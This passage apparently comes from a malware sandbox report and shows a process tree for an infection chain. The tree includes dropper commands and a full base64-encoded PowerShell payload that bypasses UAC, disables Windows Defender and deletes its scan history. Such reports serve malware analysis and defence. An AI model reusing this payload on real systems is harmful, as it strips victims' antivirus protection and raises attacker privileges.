                                            • System Location Discovery: System Language Discovery
                                            PID:5172
                                          • C:\Windows\SysWOW64\cmd.exe
                                            cmd /c md 353090
                                            9⤵
                                            • System Location Discovery: System Language Discovery
                                            PID:6804
                                          • C:\Windows\SysWOW64\extrac32.exe
                                            extrac32 /Y /E Really.pub
                                            9⤵
                                            • System Location Discovery: System Language Discovery
                                            PID:6872
                                          • C:\Windows\SysWOW64\findstr.exe
                                            findstr /V "posted" Good
                                            9⤵
                                            • System Location Discovery: System Language Discovery
                                            PID:2876
                                          • C:\Windows\SysWOW64\cmd.exe
                                            cmd /c copy /b 353090\Seat.com + Pf + Somewhere + Volumes + Commission + Lane + Hit + Strong + Copied + Wearing + Acquire 353090\Seat.com
                                            9⤵
                                            • System Location Discovery: System Language Discovery
                                            PID:5632
                                          • C:\Windows\SysWOW64\cmd.exe
                                            cmd /c copy /b ..\Maintains.pub + ..\Legislation.pub + ..\Blood.pub + ..\Document.pub + ..\Breaks.pub + ..\Both.pub + ..\Explicitly.pub + ..\Governor.pub + ..\Bull.pub + ..\Comparison.pub + ..\Performing.pub + ..\Gate.pub + ..\Republican.pub + ..\Reverse.pub + ..\Thousand.pub + ..\Apartments.pub + ..\Swingers.pub + ..\Urban.pub + ..\Robert.pub + ..\Regulation.pub + ..\Confusion.pub + ..\Listening.pub + ..\Generating.pub + ..\Argentina.pub + ..\Amenities.pub + ..\Vacation.pub + ..\Vampire.pub + ..\Trademarks.pub + ..\Distinguished.pub + ..\Silly.pub + ..\Hell.pub + ..\Worcester.pub + ..\Concept.pub + ..\Enlarge.pub + ..\Preference.pub + ..\Poem.pub m
                                            9⤵
                                            • System Location Discovery: System Language Discovery
                                            PID:5992
                                          • C:\Users\Admin\AppData\Local\Temp\353090\Seat.com
                                            Seat.com m
                                            9⤵
                                            • Suspicious use of NtCreateUserProcessOtherParentProcess
                                            • Executes dropped EXE
                                            • System Location Discovery: System Language Discovery
                                            • Suspicious behavior: EnumeratesProcesses
                                            • Suspicious use of FindShellTrayWindow
                                            • Suspicious use of SendNotifyMessage
                                            PID:4720
                                            • C:\Users\Admin\AppData\Local\Temp\353090\RegAsm.exe
                                              C:\Users\Admin\AppData\Local\Temp\353090\RegAsm.exe
                                              10⤵
                                              • Executes dropped EXE
                                              • System Location Discovery: System Language Discovery
                                              PID:5968
                                              • C:\Windows\SysWOW64\WerFault.exe
                                                C:\Windows\SysWOW64\WerFault.exe -u -p 5968 -s 1428
                                                11⤵
                                                • Program crash
                                                PID:7248
                                          • C:\Windows\SysWOW64\choice.exe
                                            choice /d y /t 5
                                            9⤵
                                            • System Location Discovery: System Language Discovery
                                            PID:4596
                                      • C:\Users\Admin\AppData\Local\Temp\10206720101\9JFiKVm.exe
                                        "C:\Users\Admin\AppData\Local\Temp\10206720101\9JFiKVm.exe"
                                        7⤵
                                        • Executes dropped EXE
                                        • Suspicious use of SetThreadContext
                                        PID:6416
                                        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                                          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                                          8⤵
                                          • System Location Discovery: System Language Discovery
                                          PID:4444
                                          • C:\Users\Admin\AppData\Roaming\D9ohTv4jcH.exe
                                            "C:\Users\Admin\AppData\Roaming\D9ohTv4jcH.exe"
                                            9⤵
                                            • UAC bypass
                                            • Checks computer location settings
                                            • Executes dropped EXE
                                            • Checks whether UAC is enabled
                                            • Suspicious use of SetWindowsHookEx
                                            • System policy modification
                                            PID:6728
                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc QAAoAGUAYwBoAG8AIABvAGYAZgAlACkAWwAxAF0ADQAKAHMAcAAgACcASABLAEMAVQA6AFwAVgBvAGwAYQB0AGkAbABlACAARQBuAHYAaQByAG8AbgBtAGUAbgB0ACcAIAAnAFQAbwBnAGcAbABlAEQAZQBmAGUAbgBkAGUAcgAnACAAQAAnAA0ACgBpAGYAIAAoACQAKABzAGMALgBlAHgAZQAgAHEAYwAgAHcAaQBuAGQAZQBmAGUAbgBkACkAIAAtAGwAaQBrAGUAIAAnACoAVABPAEcARwBMAEUAKgAnACkAIAB7ACQAVABPAEcARwBMAEUAPQA3ADsAJABLAEUARQBQAD0ANgA7ACQAQQA9ACcARQBuAGEAYgBsAGUAJwA7ACQAUwA9ACcATwBGAEYAJwB9AGUAbABzAGUAewAkAFQATwBHAEcATABFAD0ANgA7ACQASwBFAEUAUAA9ADcAOwAkAEEAPQAnAEQAaQBzAGEAYgBsAGUAJwA7ACQAUwA9ACcATwBOACcAfQANAAoADQAKAGkAZgAgACgAJABlAG4AdgA6ADEAIAAtAG4AZQAgADYAIAAtAGEAbgBkACAAJABlAG4AdgA6ADEAIAAtAG4AZQAgADcAKQAgAHsAIAAkAGUAbgB2ADoAMQA9ACQAVABPAEcARwBMAEUAIAB9AA0ACgANAAoAcwB0AGEAcgB0ACAAYwBtAGQAIAAtAGEAcgBnAHMAIAAnAC8AZAAvAHIAIABTAGUAYwB1AHIAaQB0AHkASABlAGEAbAB0AGgAUwB5AHMAdAByAGEAeQAgACYAIAAiACUAUAByAG8AZwByAGEAbQBGAGkAbABlAHMAJQBcAFcAaQBuAGQAbwB3AHMAIABEAGUAZgBlAG4AZABlAHIAXABNAFMAQQBTAEMAdQBpAEwALgBlAHgAZQAiACcAIAAtAHcAaQBuACAAMQANAAoADQAKACQAbgBvAHQAaQBmAD0AJwBIAEsAQwBVADoAXABTAE8ARgBUAFcAQQBSAEUAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABDAHUAcgByAGUAbgB0AFYAZQByAHMAaQBvAG4AXABOAG8AdABpAGYAaQBjAGEAdABpAG8AbgBzAFwAUwBlAHQAdABpAG4AZwBzAFwAVwBpAG4AZABvAHcAcwAuAFMAeQBzAHQAZQBtAFQAbwBhAHMAdAAuAFMAZQBjAHUAcgBpAHQAeQBBAG4AZABNAGEAaQBuAHQAZQBuAGEAbgBjAGUAJwANAAoAbgBpACAAJABuAG8AdABpAGYAIAAtAGUAYQAgADAAfABvAHUAdAAtAG4AdQBsAGwAOwAgAHIAaQAgACQAbgBvAHQAaQBmAC4AcgBlAHAAbABhAGMAZQAoACcAUwBlAHQAdABpAG4AZwBzACcALAAnAEMAdQByAHIAZQBuAHQAJwApACAALQBSAGUAYwB1AHIAcwBlACAALQBGAG8AcgBjAGUAIAAtAGUAYQAgADAADQAKAHMAcAAgACQAbgBvAHQAaQBmACAARQBuAGEAYgBsAGUAZAAgADAAIAAtAFQAeQBwAGUAIABEAHcAbwByAGQAIAAtAEYAbwByAGMAZQAgAC0AZQBhACAAMAA7ACAAaQBmACAAKAAkAFQATwBHAEcATABFACAALQBlAHEAIAA3ACkAIAB7AHIAcAAgACQAbgBvAHQAaQBmACAARQBuAGEAYgBsAGUAZAAgAC0ARgBvAHIAYwBlACAALQBlAGEAIAAwAH0ADQAKAA0ACgAkAHQAcwA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAEMAbwBtAE8AYgBqAGUAYwB0ACAAJwBTAGMAaABlAGQAdQBsAGUALgBTAGUAcgB2AGkAYwBlACcAOwAgACQAdABzAC4AQwBvAG4AbgBlAGMAdAAoACkAOwAgACQAYgBhAGYAZgBsAGkAbgBnAD0AJAB0AHMALgBHAGUAdABGAG8AbABkAGUAcgAoACcAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABEAGkAcwBrAEMAbABlAGEAbgB1AHAAJwApAA0ACgAkAGIAcABhAHMAcwA9ACQAYgBhAGYAZgBsAGkAbgBnAC4ARwBlAHQAVABhAHMAawAoACcAUwBpAGwAZQBuAHQAQwBsAGUAYQBuAHUAcAAnACkAOwAgACQAZgBsAGEAdwA9ACQAYgBwAGEAcwBzAC4ARABlAGYAaQBuAGkAdABpAG8AbgANAAoADQAKACQAdQA9ADAAOwAkAHcAPQB3AGgAbwBhAG0AaQAgAC8AZwByAG8AdQBwAHMAOwBpAGYAKAAkAHcALQBsAGkAawBlACcAKgAxAC0ANQAtADMAMgAtADUANAA0ACoAJwApAHsAJAB1AD0AMQB9ADsAaQBmACgAJAB3AC0AbABpAGsAZQAnACoAMQAtADEANgAtADEAMgAyADgAOAAqACcAKQB7ACQAdQA9ADIAfQA7AGkAZgAoACQAdwAtAGwAaQBrAGUAJwAqADEALQAxADYALQAxADYAMwA4ADQAKgAnACkAewAkAHUAPQAzAH0ADQAKAA0ACgAkAHIAPQBbAGMAaABhAHIAXQAxADMAOwAgACQAbgBmAG8APQBbAGMAaABhAHIAXQAzADkAKwAkAHIAKwAnACAAKABcACAAIAAgAC8AKQAnACsAJAByACsAJwAoACAAKgAgAC4AIAAqACAAKQAgACAAQQAgAGwAaQBtAGkAdABlAGQAIABhAGMAYwBvAHUAbgB0ACAAcAByAG8AdABlAGMAdABzACAAeQBvAHUAIABmAHIAbwBtACAAVQBBAEMAIABlAHgAcABsAG8AaQB0AHMAJwArACQAcgArACcAIAAgACAAIABgAGAAYAAnACsAJAByACsAWwBjAGgAYQByAF0AMwA5AA0ACgAkAHMAYwByAGkAcAB0AD0AJwAtAG4AbwBwACAALQB3AGkAbgAgADEAIAAtAGMAIAAmACAAewByAHAAIABoAGsAYwB1ADoAXABlAG4AdgBpAHIAbwBuAG0AZQBuAHQAIAB3AGkAbgBkAGkAcgAgAC0AZQBhACAAMAA7ACQAQQB2AGUAWQBvAD0AJwArACQAbgBmAG8AKwAnADsAJABlAG4AdgA6ADEAPQAnACsAJABlAG4AdgA6ADEAOwAgACQAZQBuAHYAOgBfAF8AQwBPAE0AUABBAFQAXwBMAEEAWQBFAFIAPQAnAEkAbgBzAHQAYQBsAGwAZQByACcADQAKACQAcwBjAHIAaQBwAHQAKwA9ACcAOwBpAGUAeAAoACgAZwBwACAAUgBlAGcAaQBzAHQAcgB5ADoAOgBIAEsARQBZAF8AVQBzAGUAcgBzAFwAUwAtADEALQA1AC0AMgAxACoAXABWAG8AbABhAHQAaQBsAGUAKgAgAFQAbwBnAGcAbABlAEQAZQBmAGUAbgBkAGUAcgAgAC0AZQBhACAAMAApAFsAMABdAC4AVABvAGcAZwBsAGUARABlAGYAZQBuAGQAZQByACkAfQAnADsAIAAkAGMAbQBkAD0AJwBwAG8AdwBlAHIAcwBoAGUAbABsACAAJwArACQAcwBjAHIAaQBwAHQADQAKAA0ACgBpAGYAIAAoACQAdQAgAC0AZQBxACAAMAApACAAewANAAoAIAAgAHMAdABhAHIAdAAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAGEAcgBnAHMAIAAkAHMAYwByAGkAcAB0ACAALQB2AGUAcgBiACAAcgB1AG4AYQBzACAALQB3AGkAbgAgADEAOwAgAGIAcgBlAGEAawANAAoAfQANAAoAaQBmACAAKAAkAHUAIAAtAGUAcQAgADEAKQAgAHsADQAKACAAIABpAGYAIAAoACQAZgBsAGEAdwAuAEEAYwB0AGkAbwBuAHMALgBJAHQAZQBtACgAMQApAC4AUABhAHQAaAAgAC0AaQBuAG8AdABsAGkAawBlACAAJwAqAHcAaQBuAGQAaQByACoAJwApAHsAcwB0AGEAcgB0ACAAcABvAHcAZQByAHMAaABlAGwAbAAgAC0AYQByAGcAcwAgACQAcwBjAHIAaQBwAHQAIAAtAHYAZQByAGIAIAByAHUAbgBhAHMAIAAtAHcAaQBuACAAMQA7ACAAYgByAGUAYQBrAH0ADQAKACAAIABzAHAAIABoAGsAYwB1ADoAXABlAG4AdgBpAHIAbwBuAG0AZQBuAHQAIAB3AGkAbgBkAGkAcgAgACQAKAAnAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAnACsAJABzAGMAcgBpAHAAdAArACcAIAAjACcAKQANAAoAIAAgACQAegA9ACQAYgBwAGEAcwBzAC4AUgB1AG4ARQB4ACgAJABuAHUAbABsACwAMgAsADAALAAkAG4AdQBsAGwAKQA7ACAAJAB3AGEAaQB0AD0AMAA7ACAAdwBoAGkAbABlACgAJABiAHAAYQBzAHMALgBTAHQAYQB0AGUAIAAtAGcAdAAgADMAIAAtAGEAbgBkACAAJAB3AGEAaQB0ACAALQBsAHQAIAAxADcAKQB7AHMAbABlAGUAcAAgAC0AbQAgADEAMAAwADsAIAAkAHcAYQBpAHQAKwA9ADAALgAxAH0ADQAKACAAIABpAGYAKABnAHAAIABoAGsAYwB1ADoAXABlAG4AdgBpAHIAbwBuAG0AZQBuAHQAIAB3AGkAbgBkAGkAcgAgAC0AZQBhACAAMAApAHsAcgBwACAAaABrAGMAdQA6AFwAZQBuAHYAaQByAG8AbgBtAGUAbgB0ACAAdwBpAG4AZABpAHIAIAAtAGUAYQAgADAAOwBzAHQAYQByAHQAIABwAG8AdwBlAHIAcwBoAGUAbABsACAALQBhAHIAZwBzACAAJABzAGMAcgBpAHAAdAAgAC0AdgBlAHIAYgAgAHIAdQBuAGEAcwAgAC0AdwBpAG4AIAAxAH0AOwBiAHIAZQBhAGsADQAKAH0ADQAKAGkAZgAgACgAJAB1ACAALQBlAHEAIAAyACkAIAB7AA0ACgAgACAAJABBAD0AWwBBAHAAcABEAG8AbQBhAGkAbgBdADoAOgBDAHUAcgByAGUAbgB0AEQAbwBtAGEAaQBuAC4AIgBEAGUAZgBgAGkAbgBlAEQAeQBuAGEAbQBpAGMAQQBzAHMAZQBtAGIAbAB5ACIAKAAxACwAMQApAC4AIgBEAGUAZgBgAGkAbgBlAEQAeQBuAGEAbQBpAGMATQBvAGQAdQBsAGUAIgAoADEAKQA7ACQARAA9AEAAKAApADsAMAAuAC4ANQB8ACUAewAkAEQAKwA9ACQAQQAuACIARABlAGYAYABpAG4AZQBUAHkAcABlACIAKAAnAEEAJwArACQAXwAsAA0ACgAgACAAMQAxADcAOQA5ADEAMwAsAFsAVgBhAGwAdQBlAFQAeQBwAGUAXQApAH0AIAA7ADQALAA1AHwAJQB7ACQARAArAD0AJABEAFsAJABfAF0ALgAiAE0AYQBrAGAAZQBCAHkAUgBlAGYAVAB5AHAAZQAiACgAKQB9ACAAOwAkAEkAPQBbAEkAbgB0ADMAMgBdADsAJABKAD0AIgBJAG4AdABgAFAAdAByACIAOwAkAFAAPQAkAEkALgBtAG8AZAB1AGwAZQAuAEcAZQB0AFQAeQBwAGUAKAAiAFMAeQBzAHQAZQBtAC4AJABKACIAKQA7ACAAJABGAD0AQAAoADAAKQANAAoAIAAgACQARgArAD0AKAAkAFAALAAkAEkALAAkAFAAKQAsACgAJABJACwAJABJACwAJABJACwAJABJACwAJABQACwAJABEAFsAMQBdACkALAAoACQASQAsACQAUAAsACQAUAAsACQAUAAsACQASQAsACQASQAsACQASQAsACQASQAsACQASQAsACQASQAsACQASQAsACQASQAsAFsASQBuAHQAMQA2AF0ALABbAEkAbgB0ADEANgBdACwAJABQACwAJABQACwAJABQACwAJABQACkALAAoACQARABbADMAXQAsACQAUAApACwAKAAkAFAALAAkAFAALAAkAEkALAAkAEkAKQANAAoAIAAgACQAUwA9AFsAUwB0AHIAaQBuAGcAXQA7ACAAJAA5AD0AJABEAFsAMABdAC4AIgBEAGUAZgBgAGkAbgBlAFAASQBuAHYAbwBrAGUATQBlAHQAaABvAGQAIgAoACcAQwByAGUAYQB0AGUAUAByAG8AYwBlAHMAcwAnACwAIgBrAGUAcgBuAGUAbABgADMAMgAiACwAOAAyADEANAAsADEALAAkAEkALABAACgAJABTACwAJABTACwAJABJACwAJABJACwAJABJACwAJABJACwAJABJACwAJABTACwAJABEAFsANgBdACwAJABEAFsANwBdACkALAAxACwANAApAA0ACgAgACAAMQAuAC4ANQB8ACUAewAkAGsAPQAkAF8AOwAkAG4APQAxADsAJABGAFsAJABfAF0AfAAlAHsAJAA5AD0AJABEAFsAJABrAF0ALgAiAEQAZQBmAGAAaQBuAGUARgBpAGUAbABkACIAKAAnAGYAJwArACQAbgArACsALAAkAF8ALAA2ACkAfQB9ADsAJABUAD0AQAAoACkAOwAwAC4ALgA1AHwAJQB7ACQAVAArAD0AJABEAFsAJABfAF0ALgAiAEMAcgBgAGUAYQB0AGUAVAB5AHAAZQAiACgAKQA7ACQAWgA9AFsAdQBpAG4AdABwAHQAcgBdADoAOgBzAGkAegBlAA0ACgAgACAAbgB2ACAAKAAnAFQAJwArACQAXwApACgAWwBBAGMAdABpAHYAYQB0AG8AcgBdADoAOgBDAHIAZQBhAHQAZQBJAG4AcwB0AGEAbgBjAGUAKAAkAFQAWwAkAF8AXQApACkAfQA7ACAAJABIAD0AJABJAC4AbQBvAGQAdQBsAGUALgBHAGUAdABUAHkAcABlACgAIgBTAHkAcwB0AGUAbQAuAFIAdQBuAHQAaQBtAGUALgBJAG4AdABlAHIAbwBwAGAAUwBlAHIAdgBpAGMAZQBzAC4ATQBhAHIAYABzAGgAYQBsACIAKQA7AA0ACgAgACAAJABXAFAAPQAkAEgALgAiAEcAZQB0AGAATQBlAHQAaABvAGQAIgAoACIAVwByAGkAdABlACQASgAiACwAWwB0AHkAcABlAFsAXQBdACgAJABKACwAJABKACkAKQA7ACAAJABIAEcAPQAkAEgALgAiAEcAZQB0AGAATQBlAHQAaABvAGQAIgAoACIAQQBsAGwAbwBjAEgAYABHAGwAbwBiAGEAbAAiACwAWwB0AHkAcABlAFsAXQBdACcAaQBuAHQAMwAyACcAKQA7ACAAJAB2AD0AJABIAEcALgBpAG4AdgBvAGsAZQAoACQAbgB1AGwAbAAsACQAWgApAA0ACgAgACAAJwBUAHIAdQBzAHQAZQBkAEkAbgBzAHQAYQBsAGwAZQByACcALAAnAGwAcwBhAHMAcwAnAHwAJQB7AGkAZgAoACEAJABwAG4AKQB7AG4AZQB0ADEAIABzAHQAYQByAHQAIAAkAF8AIAAyAD4AJgAxACAAPgAkAG4AdQBsAGwAOwAkAHAAbgA9AFsARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgBHAGUAdABQAHIAbwBjAGUAcwBzAGUAcwBCAHkATgBhAG0AZQAoACQAXwApAFsAMABdADsAfQB9AA0ACgAgACAAJABXAFAALgBpAG4AdgBvAGsAZQAoACQAbgB1AGwAbAAsAEAAKAAkAHYALAAkAHAAbgAuAEgAYQBuAGQAbABlACkAKQA7ACAAJABTAFoAPQAkAEgALgAiAEcAZQB0AGAATQBlAHQAaABvAGQAIgAoACIAUwBpAHoAZQBPAGYAIgAsAFsAdAB5AHAAZQBbAF0AXQAnAHQAeQBwAGUAJwApADsAIAAkAFQAMQAuAGYAMQA9ADEAMwAxADAANwAyADsAIAAkAFQAMQAuAGYAMgA9ACQAWgA7ACAAJABUADEALgBmADMAPQAkAHYAOwAgACQAVAAyAC4AZgAxAD0AMQANAAoAIAAgACQAVAAyAC4AZgAyAD0AMQA7ACQAVAAyAC4AZgAzAD0AMQA7ACQAVAAyAC4AZgA0AD0AMQA7ACQAVAAyAC4AZgA2AD0AJABUADEAOwAkAFQAMwAuAGYAMQA9ACQAUwBaAC4AaQBuAHYAbwBrAGUAKAAkAG4AdQBsAGwALAAkAFQAWwA0AF0AKQA7ACQAVAA0AC4AZgAxAD0AJABUADMAOwAkAFQANAAuAGYAMgA9ACQASABHAC4AaQBuAHYAbwBrAGUAKAAkAG4AdQBsAGwALAAkAFMAWgAuAGkAbgB2AG8AawBlACgAJABuAHUAbABsACwAJABUAFsAMgBdACkAKQANAAoAIAAgACQASAAuACIARwBlAHQAYABNAGUAdABoAG8AZAAiACgAIgBTAHQAcgB1AGMAdAB1AHIAZQBUAG8AYABQAHQAcgAiACwAWwB0AHkAcABlAFsAXQBdACgAJABEAFsAMgBdACwAJABKACwAJwBiAG8AbwBsAGUAYQBuACcAKQApAC4AaQBuAHYAbwBrAGUAKAAkAG4AdQBsAGwALABAACgAKAAkAFQAMgAtAGEAcwAgACQARABbADIAXQApACwAJABUADQALgBmADIALAAkAGYAYQBsAHMAZQApACkAOwAkAHcAaQBuAGQAbwB3AD0AMAB4ADAARQAwADgAMAA2ADAAMAANAAoAIAAgACQAOQA9ACQAVABbADAAXQAuACIARwBlAHQAYABNAGUAdABoAG8AZAAiACgAJwBDAHIAZQBhAHQAZQBQAHIAbwBjAGUAcwBzACcAKQAuAEkAbgB2AG8AawBlACgAJABuAHUAbABsACwAQAAoACQAbgB1AGwAbAAsACQAYwBtAGQALAAwACwAMAAsADAALAAkAHcAaQBuAGQAbwB3ACwAMAAsACQAbgB1AGwAbAAsACgAJABUADQALQBhAHMAIAAkAEQAWwA0AF0AKQAsACgAJABUADUALQBhAHMAIAAkAEQAWwA1AF0AKQApACkAOwAgAGIAcgBlAGEAawANAAoAfQANAAoADQAKACQAdwBkAHAAPQAnAEgASwBMAE0AOgBcAFMATwBGAFQAVwBBAFIARQBcAFAAbwBsAGkAYwBpAGUAcwBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgAnAA0ACgAnACAAUwBlAGMAdQByAGkAdAB5ACAAQwBlAG4AdABlAHIAXABOAG8AdABpAGYAaQBjAGEAdABpAG8AbgBzACcALAAnAFwAVQBYACAAQwBvAG4AZgBpAGcAdQByAGEAdABpAG8AbgAnACwAJwBcAE0AcABFAG4AZwBpAG4AZQAnACwAJwBcAFMAcAB5AG4AZQB0ACcALAAnAFwAUgBlAGEAbAAtAFQAaQBtAGUAIABQAHIAbwB0AGUAYwB0AGkAbwBuACcAIAB8ACUAIAB7AG4AaQAgACgAJAB3AGQAcAArACQAXwApAC0AZQBhACAAMAB8AG8AdQB0AC0AbgB1AGwAbAB9AA0ACgANAAoAcwBwACAAJwBIAEsATABNADoAXABTAE8ARgBUAFcAQQBSAEUAXABQAG8AbABpAGMAaQBlAHMAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAIABEAGUAZgBlAG4AZABlAHIAIABTAGUAYwB1AHIAaQB0AHkAIABDAGUAbgB0AGUAcgBcAE4AbwB0AGkAZgBpAGMAYQB0AGkAbwBuAHMAJwAgAEQAaQBzAGEAYgBsAGUATgBvAHQAaQBmAGkAYwBhAHQAaQBvAG4AcwAgADEAIAAtAFQAeQBwAGUAIABEAHcAbwByAGQAIAAtAGUAYQAgADAADQAKAHMAcAAgACcASABLAEwATQA6AFwAUwBPAEYAVABXAEEAUgBFAFwAUABvAGwAaQBjAGkAZQBzAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzACAARABlAGYAZQBuAGQAZQByAFwAVQBYACAAQwBvAG4AZgBpAGcAdQByAGEAdABpAG8AbgAnACAATgBvAHQAaQBmAGkAYwBhAHQAaQBvAG4AXwBTAHUAcABwAHIAZQBzAHMAIAAxACAALQBUAHkAcABlACAARAB3AG8AcgBkACAALQBGAG8AcgBjAGUAIAAtAGUAYQAgADAADQAKAHMAcAAgACcASABLAEwATQA6AFwAUwBPAEYAVABXAEEAUgBFAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzACAARABlAGYAZQBuAGQAZQByACAAUwBlAGMAdQByAGkAdAB5ACAAQwBlAG4AdABlAHIAXABOAG8AdABpAGYAaQBjAGEAdABpAG8AbgBzACcAIABEAGkAcwBhAGIAbABlAE4AbwB0AGkAZgBpAGMAYQB0AGkAbwBuAHMAIAAxACAALQBUAHkAcABlACAARAB3AG8AcgBkACAALQBlAGEAIAAwAA0ACgBzAHAAIAAnAEgASwBMAE0AOgBcAFMATwBGAFQAVwBBAFIARQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAFUAWAAgAEMAbwBuAGYAaQBnAHUAcgBhAHQAaQBvAG4AJwAgAE4AbwB0AGkAZgBpAGMAYQB0AGkAbwBuAF8AUwB1AHAAcAByAGUAcwBzACAAMQAgAC0AVAB5AHAAZQAgAEQAdwBvAHIAZAAgAC0ARgBvAHIAYwBlACAALQBlAGEAIAAwAA0ACgBzAHAAIAAnAEgASwBMAE0AOgBcAFMATwBGAFQAVwBBAFIARQBcAFAAbwBsAGkAYwBpAGUAcwBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAHQAZQBtACcAIABFAG4AYQBiAGwAZQBTAG0AYQByAHQAUwBjAHIAZQBlAG4AIAAwACAALQBUAHkAcABlACAARAB3AG8AcgBkACAALQBGAG8AcgBjAGUAIAAtAGUAYQAgADAADQAKAHMAcAAgACcASABLAEwATQA6AFwAUwBPAEYAVABXAEEAUgBFAFwAUABvAGwAaQBjAGkAZQBzAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzACAARABlAGYAZQBuAGQAZQByACcAIABEAGkAcwBhAGIAbABlAEEAbgB0AGkAUwBwAHkAdwBhAHIAZQAgADEAIAAtAFQAeQBwAGUAIABEAHcAbwByAGQAIAAtAEYAbwByAGMAZQAgAC0AZQBhACAAMAANAAoAcwBwACAAJwBIAEsATABNADoAXABTAE8ARgBUAFcAQQBSAEUAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAIABEAGUAZgBlAG4AZABlAHIAJwAgAEQAaQBzAGEAYgBsAGUAQQBuAHQAaQBTAHAAeQB3AGEAcgBlACAAMQAgAC0AVAB5AHAAZQAgAEQAdwBvAHIAZAAgAC0ARgBvAHIAYwBlACAALQBlAGEAIAAwAA0ACgBuAGUAdAAxACAAcwB0AG8AcAAgAHcAaQBuAGQAZQBmAGUAbgBkAA0ACgBzAGMALgBlAHgAZQAgAGMAbwBuAGYAaQBnACAAdwBpAG4AZABlAGYAZQBuAGQAIABkAGUAcABlAG4AZAA9ACAAUgBwAGMAUwBzAC0AVABPAEcARwBMAEUADQAKAGsAaQBsAGwAIAAtAE4AYQBtAGUAIABNAHAAQwBtAGQAUgB1AG4AIAAtAEYAbwByAGMAZQAgAC0AZQBhACAAMAANAAoAcwB0AGEAcgB0ACAAKAAkAGUAbgB2ADoAUAByAG8AZwByAGEAbQBGAGkAbABlAHMAKwAnAFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAE0AcABDAG0AZABSAHUAbgAuAGUAeABlACcAKQAgAC0AQQByAGcAIAAnAC0ARABpAHMAYQBiAGwAZQBTAGUAcgB2AGkAYwBlACcAIAAtAHcAaQBuACAAMQANAAoAZABlAGwAIAAoACQAZQBuAHYAOgBQAHIAbwBnAHIAYQBtAEQAYQB0AGEAKwAnAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzACAARABlAGYAZQBuAGQAZQByAFwAUwBjAGEAbgBzAFwAbQBwAGUAbgBnAGkAbgBlAGQAYgAuAGQAYgAnACkAIAAtAEYAbwByAGMAZQAgAC0AZQBhACAAMAAgACAAIAAgACAAIAAgACAAIAAgACAAIwAjACAAQwBvAG0AbQBlAG4AdABlAGQAIAA9ACAAawBlAGUAcAAgAHMAYwBhAG4AIABoAGkAcwB0AG8AcgB5AA0ACgBkAGUAbAAgACgAJABlAG4AdgA6AFAAcgBvAGcAcgBhAG0ARABhAHQAYQArACcAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAIABEAGUAZgBlAG4AZABlAHIAXABTAGMAYQBuAHMAXABIAGkAcwB0AG8AcgB5AFwAUwBlAHIAdgBpAGMAZQAnACkAIAAtAFIAZQBjAHUAcgBzAGUAIAAtAEYAbwByAGMAZQAgAC0AZQBhACAAMAANAAoAJwBAACAALQBGAG8AcgBjAGUAIAAtAGUAYQAgADAAOwAgAGkAZQB4ACgAKABnAHAAIABSAGUAZwBpAHMAdAByAHkAOgA6AEgASwBFAFkAXwBVAHMAZQByAHMAXABTAC0AMQAtADUALQAyADEAKgBcAFYAbwBsAGEAdABpAGwAZQAqACAAVABvAGcAZwBsAGUARABlAGYAZQBuAGQAZQByACAALQBlAGEAIAAwACkAWwAwAF0ALgBUAG8AZwBnAGwAZQBEAGUAZgBlAG4AZABlAHIAKQANAAoAIwAtAF8ALQAjAA==
                                              10⤵
                                              • Suspicious use of NtCreateUserProcessOtherParentProcess
                                              PID:8156
                                              • C:\Windows\system32\sc.exe
                                                "C:\Windows\system32\sc.exe" qc windefend
                                                11⤵
                                                • Launches sc.exe
                                                PID:8892
                                              • C:\Windows\system32\cmd.exe
                                                "C:\Windows\system32\cmd.exe" /d/r SecurityHealthSystray & "%ProgramFiles%\Windows Defender\MSASCuiL.exe"
                                                11⤵
                                                  PID:9024
                                                • C:\Windows\system32\whoami.exe
                                                  "C:\Windows\system32\whoami.exe" /groups
                                                  11⤵
                                                    PID:5160
                                                  • C:\Windows\system32\net1.exe
                                                    "C:\Windows\system32\net1.exe" start TrustedInstaller
                                                    11⤵
                                                      PID:9440
                                                    • C:\Windows\system32\net1.exe
                                                      "C:\Windows\system32\net1.exe" start lsass
                                                      11⤵
                                                        PID:9644
                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
